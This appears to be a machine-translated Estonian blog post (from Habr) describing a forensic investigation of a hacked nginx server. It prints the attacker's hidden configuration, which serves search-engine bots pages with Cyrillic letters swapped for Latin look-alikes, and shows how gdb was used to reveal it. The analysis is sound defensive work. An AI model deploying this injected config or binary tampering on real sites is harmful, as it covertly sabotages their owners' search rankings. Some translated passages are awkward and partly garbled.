Kõige ebameeldivam lugu juhtus ühe mu sõbraga. Kuid nii ebameeldiv, kui see Mihhaili jaoks osutus, oli see minu jaoks sama lõbus.
Pean ütlema, et mu sõber on üsna hea UNIX-kasutaja: saab süsteemi ise installida MySQL, php ja tehke lihtsaid seadistusi nginx.
Ja tal on kümmekond või poolteist ehitustööriistadele pühendatud veebisaiti.
Üks neist kettsaagidele pühendatud saitidest on kindlalt otsingumootorite TOPis. See sait on mitteäriline arvustaja, kuid kellelgi on harjumus seda rünnata. See DDoS, siis toore jõuga, siis kirjutavad nad nilbeid kommentaare ja saadavad rikkumisi hostile ja RKN-ile.
Järsku kõik rahunes ja see rahu osutus halvaks ning sait hakkas järk-järgult lahkuma otsingutulemuste ülemistest ridadest.
See oli ütlus, siis administraatori lugu ise.
Oli lähenemas magamaminekule, kui telefon helises: „San, kas sa ei vaata mu serverit? Mulle tundub, et mind häkiti, ma ei saa seda tõestada, kuid tunne ei jätnud mind juba kolmandat nädalat. Võib-olla on mul lihtsalt aeg paranoiat ravida?
Järgnes pooletunnine arutelu, mille võib kokku võtta järgmiselt:
- muld häkkimiseks oli üsna viljakas;
- ründaja võib omandada superkasutaja õigused;
- rünnak (kui see toimus) oli suunatud konkreetselt sellele saidile;
- probleemsed piirkonnad on parandatud ja peate lihtsalt aru saama, kas seal oli tungimist;
- häkkimine ei saanud mõjutada saidi koodi ja andmebaase.
Viimase punkti kohta.
Ainult valge esiosa IP vaatab maailma. Taustaprogrammide ja esiprogrammi vahel pole vahetust peale http(de), kasutajad/paroolid on erinevad, võtmeid ei vahetatud. Hallidel aadressidel on kõik pordid peale 80/443 suletud. Valge tausta IP-d teavad ainult kaks kasutajat, keda Mihhail täielikult usaldab.
Paigaldatud esiküljele Debian 9 ja kõne tegemise ajaks on süsteem välise tulemüüriga maailmast isoleeritud ja peatatud.
"Ok, anna mulle juurdepääs," otsustan unetunniks edasi lükata. "Ma näen oma silmaga."
Siin ja edasi:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Otsin võimalikku häkkimist
Käivitan serveri esimesena päästerežiim. Paigaldan kettad ja lappan läbi autent-palgid, ajalugu, süsteemilogid jne, võimalusel kontrollin faili loomise kuupäevi, kuigi saan aru, et tavaline kräkk oleks enda järel “üles pühkinud” ja Miša oli end otsides juba palju “alla tallanud” .
Alustan tavarežiimis, ma ei saa veel aru, mida otsida, uurin konfiguratsioone. Esiteks huvitab mind nginx kuna üldiselt pole esiküljel peale selle midagi muud.
Konfiguratsioonid on väikesed, hästi struktureeritud kümneks failiks, ma lihtsalt vaatan need läbi kass'oh ükshaaval. Tundub, et kõik on puhas, aga kunagi ei tea, kas mul jäi midagi kahe silma vahele sisaldama, lubage mul koostada täielik loetelu:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Ma ei saanud aru: "Kus on nimekiri?"
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Loendiküsimusele lisatakse teine küsimus: "Miks selline iidne nginxi versioon?"
Lisaks usub süsteem, et installitud on uusim versioon:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
Ma helistan:
- Misha, miks sa uuesti kokku panid? nginx?
- Oota, ma isegi ei tea, kuidas seda teha!
- Okei, mine magama...
nginx see on selgelt ümber ehitatud ja kirje väljund "-T" abil on mingil põhjusel peidetud. Häkkimises pole enam kahtlust ja võite sellega lihtsalt leppida ja (kuna Misha niikuinii serveri uue vastu vahetas) lugeda probleemi lahendatuks.
Ja tõepoolest, kuna keegi sai õigused juur'ah, siis on ainult mõtet teha süsteemi uuesti installimine, ja asjatu oli otsida, mis seal viga on, aga uudishimu võitis seekord une. Kuidas me saame teada, mida nad meie eest varjata tahtsid?
Proovime jälgida:
$ strace nginx -T
Vaatame seda, jälgi on selgelt liiga vähe a la
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Lõbu pärast võrdleme tulemusi.
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Ma arvan, et osa koodist /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
vähendati kujule:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
või
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
seetõttu ei kuvata loendit tähega "-T".
Aga kuidas me saame oma konfiguratsiooni vaadata?
Kui mu mõte on õige ja probleem on ainult muutujas ngx_dump_config proovime seda installida kasutades gdb, õnneks on võti olemas --with-cc-opt -g praegu ja loodan, et optimeerimine -O2 see ei tee meile haiget. Samal ajal, kuna ma ei tea, kuidas ngx_dump_config saaks sisse töödelda juhtum "T":, me ei kutsu seda plokki, vaid installime selle kasutades juhtum "t":
Miks saate kasutada nii "-t" kui ka "-T"Ploki töötlemine if(ngx_dump_config) toimub sees if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Muidugi, kui koodi muudetakse selles osas ja mitte sisse juhtum "T":, siis minu meetod ei tööta.
Testige nginx.confOlles probleemi juba eksperimentaalselt lahendanud, tehti kindlaks, et pahavara toimimiseks on vaja minimaalset konfiguratsiooni nginx tüüp:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Kasutame seda artiklis lühiduse huvides.
Käivitage silur
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Samm sammu haaval:
- määrake funktsioonis katkestuspunkt peamine ()
- käivitada programm
- muuta muutuja väärtust, mis määrab konfiguratsiooni väljundi ngx_dump_config=1
- programmi jätkamine/lõpetamine
Nagu näeme, erineb tegelik konfiguratsioon meie omast, valime sellest parasiittüki:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Vaatame järjekorras, mis siin toimub.
On kindlaks määratud Kasutaja Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Teeninduslehed on välistatud wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Ja neile, kes kuuluvad mõlema ülaltoodud tingimuse alla
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
tekstis html- lehed muutuvad 'o' edasi 'o' и "A" edasi "a":
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
See on õige, ainus peensus on see 'a'!= 'a' sama hästi kui 'o'!= 'o':
Seega saavad otsingumootori robotid tavalise 100% kirillitsa teksti asemel ladina keelega lahjendatud muudetud prügi "a" и 'o'. Ma ei julge arutleda, kuidas see SEO-d mõjutab, kuid on ebatõenäoline, et selline tähesegadus avaldab positiivset mõju positsioonidele otsingutulemustes.
Mis ma oskan öelda, kujutlusvõimega poisid.
Viited
Allikas: www.habr.com